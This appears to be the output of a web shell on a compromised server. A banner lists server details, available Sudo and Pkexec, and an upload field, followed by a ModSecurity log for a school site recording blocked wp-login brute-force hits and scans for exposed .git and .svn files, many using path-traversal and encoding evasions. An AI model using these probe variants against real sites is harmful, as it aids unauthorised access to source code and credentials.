| Server IP : 103.4.122.14 / Your IP : 216.73.216.103 Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : statewid ( 1251) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/apache/domlogs/ |
Upload File : |
[Fri Nov 14 16:26:21.611013 2025] [:error] [pid 16575:tid 16656] [client 129.153.203.128:64770] [client 129.153.203.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.153.203.128, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aRbnre6qT670YxigvbBoPAAAANY"]
[Fri Nov 14 16:26:22.454611 2025] [:error] [pid 16575:tid 16640] [client 129.153.203.128:64859] [client 129.153.203.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.153.203.128, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aRbnru6qT670YxigvbBoQAAAAMY"]
[Fri Nov 14 21:32:59.978917 2025] [:error] [pid 16573:tid 16583] [client 91.92.243.236:52740] [client 91.92.243.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.236, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aRcviyPGexfUk9FDoELQxwAAAEU"]
[Fri Nov 14 21:33:01.236747 2025] [:error] [pid 16709:tid 16714] [client 91.92.243.236:52862] [client 91.92.243.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.236, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aRcvjaNdzfVNC4oipLWl-gAAAUM"]
[Fri Nov 21 14:48:49.526613 2025] [:error] [pid 25431:tid 25497] [client 213.21.239.4:36512] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSALUcklhXxmoIExII0DlQAAAIo"]
[Fri Nov 21 15:47:51.287308 2025] [:error] [pid 25429:tid 25449] [client 213.21.239.4:39756] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.svn/wc.db"] [unique_id "aSAZJz4rZbRSr7vu-NOV1QAAABA"]
[Wed Nov 26 14:44:50.813872 2025] [:error] [pid 34744:tid 34806] [client 213.21.239.4:48166] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backup/.git/config"] [unique_id "aSah4ktgOvVbhyALkTQXCwAAAYM"]
[Wed Nov 26 14:44:50.813872 2025] [:error] [pid 34830:tid 34832] [client 213.21.239.4:48162] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/developer/.git/config"] [unique_id "aSah4kukvkWgWN6jCR2zegAAAAA"]
[Wed Nov 26 14:44:50.816114 2025] [:error] [pid 45836:tid 45848] [client 213.21.239.4:48228] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/css../.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL3wAAAMI"]
[Wed Nov 26 14:44:50.818895 2025] [:error] [pid 34744:tid 34818] [client 213.21.239.4:48276] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/.git/config"] [unique_id "aSah4ktgOvVbhyALkTQXDAAAAY8"]
[Wed Nov 26 14:44:50.819137 2025] [:error] [pid 34744:tid 34809] [client 213.21.239.4:48134] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.git/config"] [unique_id "aSah4ktgOvVbhyALkTQXDQAAAYY"]
[Wed Nov 26 14:44:50.822370 2025] [:error] [pid 45836:tid 45859] [client 213.21.239.4:48132] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL4AAAAM0"]
[Wed Nov 26 14:44:50.823483 2025] [:error] [pid 10383:tid 10386] [client 213.21.239.4:48128] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.git/config"] [unique_id "aSah4q0RJ-zjhOVjD8_jnwAAAcA"]
[Wed Nov 26 14:44:50.824967 2025] [:error] [pid 45901:tid 45923] [client 213.21.239.4:48168] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/assets../.git/config"] [unique_id "aSah4iunQ1SpfPRNrty3FwAAARQ"]
[Wed Nov 26 14:44:50.831677 2025] [:error] [pid 45901:tid 45909] [client 213.21.239.4:48124] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database/.git/config"] [unique_id "aSah4iunQ1SpfPRNrty3GAAAAQY"]
[Wed Nov 26 14:44:50.832625 2025] [:error] [pid 45836:tid 45861] [client 213.21.239.4:48170] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/content../.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL4wAAAM8"]
[Wed Nov 26 14:44:50.833425 2025] [:error] [pid 45836:tid 45869] [client 213.21.239.4:48194] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/static../.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL5QAAANc"]
[Wed Nov 26 14:44:50.854849 2025] [:error] [pid 45901:tid 45917] [client 213.21.239.4:48238] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/.git/config;"] [unique_id "aSah4iunQ1SpfPRNrty3GQAAAQ4"]
[Wed Nov 26 14:44:50.856481 2025] [:error] [pid 45836:tid 45855] [client 213.21.239.4:48286] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/common/.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL5gAAAMk"]
[Wed Nov 26 14:44:50.857354 2025] [:error] [pid 45901:tid 45912] [client 213.21.239.4:48264] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/dev/.git/config"] [unique_id "aSah4iunQ1SpfPRNrty3GgAAAQk"]
[Wed Nov 26 14:44:50.857825 2025] [:error] [pid 45836:tid 45854] [client 213.21.239.4:48184] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel../.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL5wAAAMg"]
[Wed Nov 26 14:44:50.858221 2025] [:error] [pid 45901:tid 45910] [client 213.21.239.4:48258] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/..;/.git/config"] [unique_id "aSah4iunQ1SpfPRNrty3GwAAAQc"]
[Wed Nov 26 14:44:50.858425 2025] [:error] [pid 45836:tid 45849] [client 213.21.239.4:48148] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/.git/%0Aconfig"] [unique_id "aSah4pfrnOGqL-seZAxL6QAAAMM"]
[Wed Nov 26 14:44:50.859017 2025] [:error] [pid 45836:tid 45858] [client 213.21.239.4:48244] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/.git/config;.."] [unique_id "aSah4pfrnOGqL-seZAxL6gAAAMw"]
[Wed Nov 26 14:44:50.859448 2025] [:error] [pid 45836:tid 45857] [client 213.21.239.4:48182] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/application/.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL6wAAAMs"]
[Wed Nov 26 14:44:50.863103 2025] [:error] [pid 45836:tid 45863] [client 213.21.239.4:48180] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel/;/.git/config"] [unique_id "aSah4pfrnOGqL-seZAxL7QAAANE"]
[Wed Nov 26 14:44:53.348154 2025] [:error] [pid 35540:tid 35552] [client 213.21.239.4:40562] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/.git/config"] [unique_id "aSah5cGrIq2A6SZSnkKL_AAAAIY"]
[Wed Nov 26 14:44:53.349781 2025] [:error] [pid 34743:tid 34798] [client 213.21.239.4:40580] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/;/.git/config"] [unique_id "aSah5QvyX7Q5oU7_mBymUAAAAVY"]
[Wed Nov 26 14:44:53.350830 2025] [:error] [pid 34744:tid 34813] [client 213.21.239.4:40646] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/..;/.git/config"] [unique_id "aSah5UtgOvVbhyALkTQXDwAAAYo"]
[Wed Nov 26 14:44:53.350842 2025] [:error] [pid 34744:tid 34812] [client 213.21.239.4:40618] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/.git/config;.."] [unique_id "aSah5UtgOvVbhyALkTQXEAAAAYk"]
[Wed Nov 26 14:44:53.351746 2025] [:error] [pid 34743:tid 34777] [client 213.21.239.4:40682] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lib../.git/config"] [unique_id "aSah5QvyX7Q5oU7_mBymUQAAAUE"]
[Wed Nov 26 14:44:53.353004 2025] [:error] [pid 34742:tid 34748] [client 213.21.239.4:40716] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/m/.git/config"] [unique_id "aSah5ZSuLNwpQF_jzAdNBQAAAEA"]
[Wed Nov 26 14:44:53.359518 2025] [:error] [pid 34742:tid 34771] [client 213.21.239.4:40650] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/js../.git/config"] [unique_id "aSah5ZSuLNwpQF_jzAdNBwAAAFc"]
[Wed Nov 26 14:44:53.360513 2025] [:error] [pid 34743:tid 34797] [client 213.21.239.4:40744] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au../.git/config"] [unique_id "aSah5QvyX7Q5oU7_mBymUgAAAVU"]
[Wed Nov 26 14:44:53.361111 2025] [:error] [pid 34743:tid 34789] [client 213.21.239.4:40606] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/images../.git/config"] [unique_id "aSah5QvyX7Q5oU7_mBymUwAAAU0"]
[Wed Nov 26 14:44:53.362334 2025] [:error] [pid 34742:tid 34759] [client 213.21.239.4:40666] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/;/.git/config"] [unique_id "aSah5ZSuLNwpQF_jzAdNCAAAAEs"]
[Wed Nov 26 14:44:53.363851 2025] [:error] [pid 34743:tid 34799] [client 213.21.239.4:40694] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/static../.git/config"] [unique_id "aSah5QvyX7Q5oU7_mBymVAAAAVc"]
[Wed Nov 26 14:44:53.364240 2025] [:error] [pid 34742:tid 34755] [client 213.21.239.4:40726] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/..;/.git/config"] [unique_id "aSah5ZSuLNwpQF_jzAdNCQAAAEc"]
[Wed Nov 26 14:44:53.366444 2025] [:error] [pid 34743:tid 34791] [client 213.21.239.4:40812] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config;"] [unique_id "aSah5QvyX7Q5oU7_mBymVQAAAU8"]
[Wed Nov 26 14:44:53.367274 2025] [:error] [pid 10383:tid 10407] [client 213.21.239.4:40762] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/live/.git/config"] [unique_id "aSah5a0RJ-zjhOVjD8_jogAAAdU"]
[Wed Nov 26 14:44:53.369769 2025] [:error] [pid 10383:tid 10408] [client 213.21.239.4:40592] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/git/.git/config"] [unique_id "aSah5a0RJ-zjhOVjD8_jowAAAdY"]
[Wed Nov 26 14:44:53.370007 2025] [:error] [pid 34830:tid 34847] [client 213.21.239.4:40784] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/.git/config;"] [unique_id "aSah5UukvkWgWN6jCR2zfQAAAA8"]
[Wed Nov 26 14:44:53.371948 2025] [:error] [pid 34744:tid 34821] [client 213.21.239.4:40632] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/img../.git/config"] [unique_id "aSah5UtgOvVbhyALkTQXEgAAAZI"]
[Wed Nov 26 14:44:53.374035 2025] [:error] [pid 34742:tid 34770] [client 213.21.239.4:40696] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/%0Aconfig"] [unique_id "aSah5ZSuLNwpQF_jzAdNCgAAAFY"]
[Wed Nov 26 14:44:53.375464 2025] [:error] [pid 34743:tid 34783] [client 213.21.239.4:40702] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/message-api/.git/config"] [unique_id "aSah5QvyX7Q5oU7_mBymVgAAAUc"]
[Wed Nov 26 14:44:53.376230 2025] [:error] [pid 34743:tid 34790] [client 213.21.239.4:40728] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn.carmel.wa.edu.au/.git/%0Aconfig"] [unique_id "aSah5QvyX7Q5oU7_mBymVwAAAU4"]
[Wed Nov 26 14:44:53.378045 2025] [:error] [pid 34742:tid 34752] [client 213.21.239.4:40754] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config;.."] [unique_id "aSah5ZSuLNwpQF_jzAdNCwAAAEQ"]
[Wed Nov 26 14:44:53.378404 2025] [:error] [pid 45901:tid 45914] [client 213.21.239.4:40798] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSah5SunQ1SpfPRNrty3HwAAAQs"]
[Wed Nov 26 14:44:56.334311 2025] [:error] [pid 35540:tid 35554] [client 213.21.239.4:40850] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/qa/.git/config"] [unique_id "aSah6MGrIq2A6SZSnkKMCQAAAIg"]
[Wed Nov 26 14:44:56.336066 2025] [:error] [pid 35540:tid 35562] [client 213.21.239.4:40912] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au../.git/config"] [unique_id "aSah6MGrIq2A6SZSnkKMCwAAAJA"]
[Wed Nov 26 14:44:56.343300 2025] [:error] [pid 45901:tid 45917] [client 213.21.239.4:40826] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/;/.git/config"] [unique_id "aSah6CunQ1SpfPRNrty3JwAAAQ4"]
[Wed Nov 26 14:44:56.346598 2025] [:error] [pid 10383:tid 10402] [client 213.21.239.4:40830] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/.git/config"] [unique_id "aSah6K0RJ-zjhOVjD8_jpgAAAdA"]
[Wed Nov 26 14:44:56.346856 2025] [:error] [pid 10383:tid 10409] [client 213.21.239.4:40926] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn../.git/config"] [unique_id "aSah6K0RJ-zjhOVjD8_jpwAAAdc"]
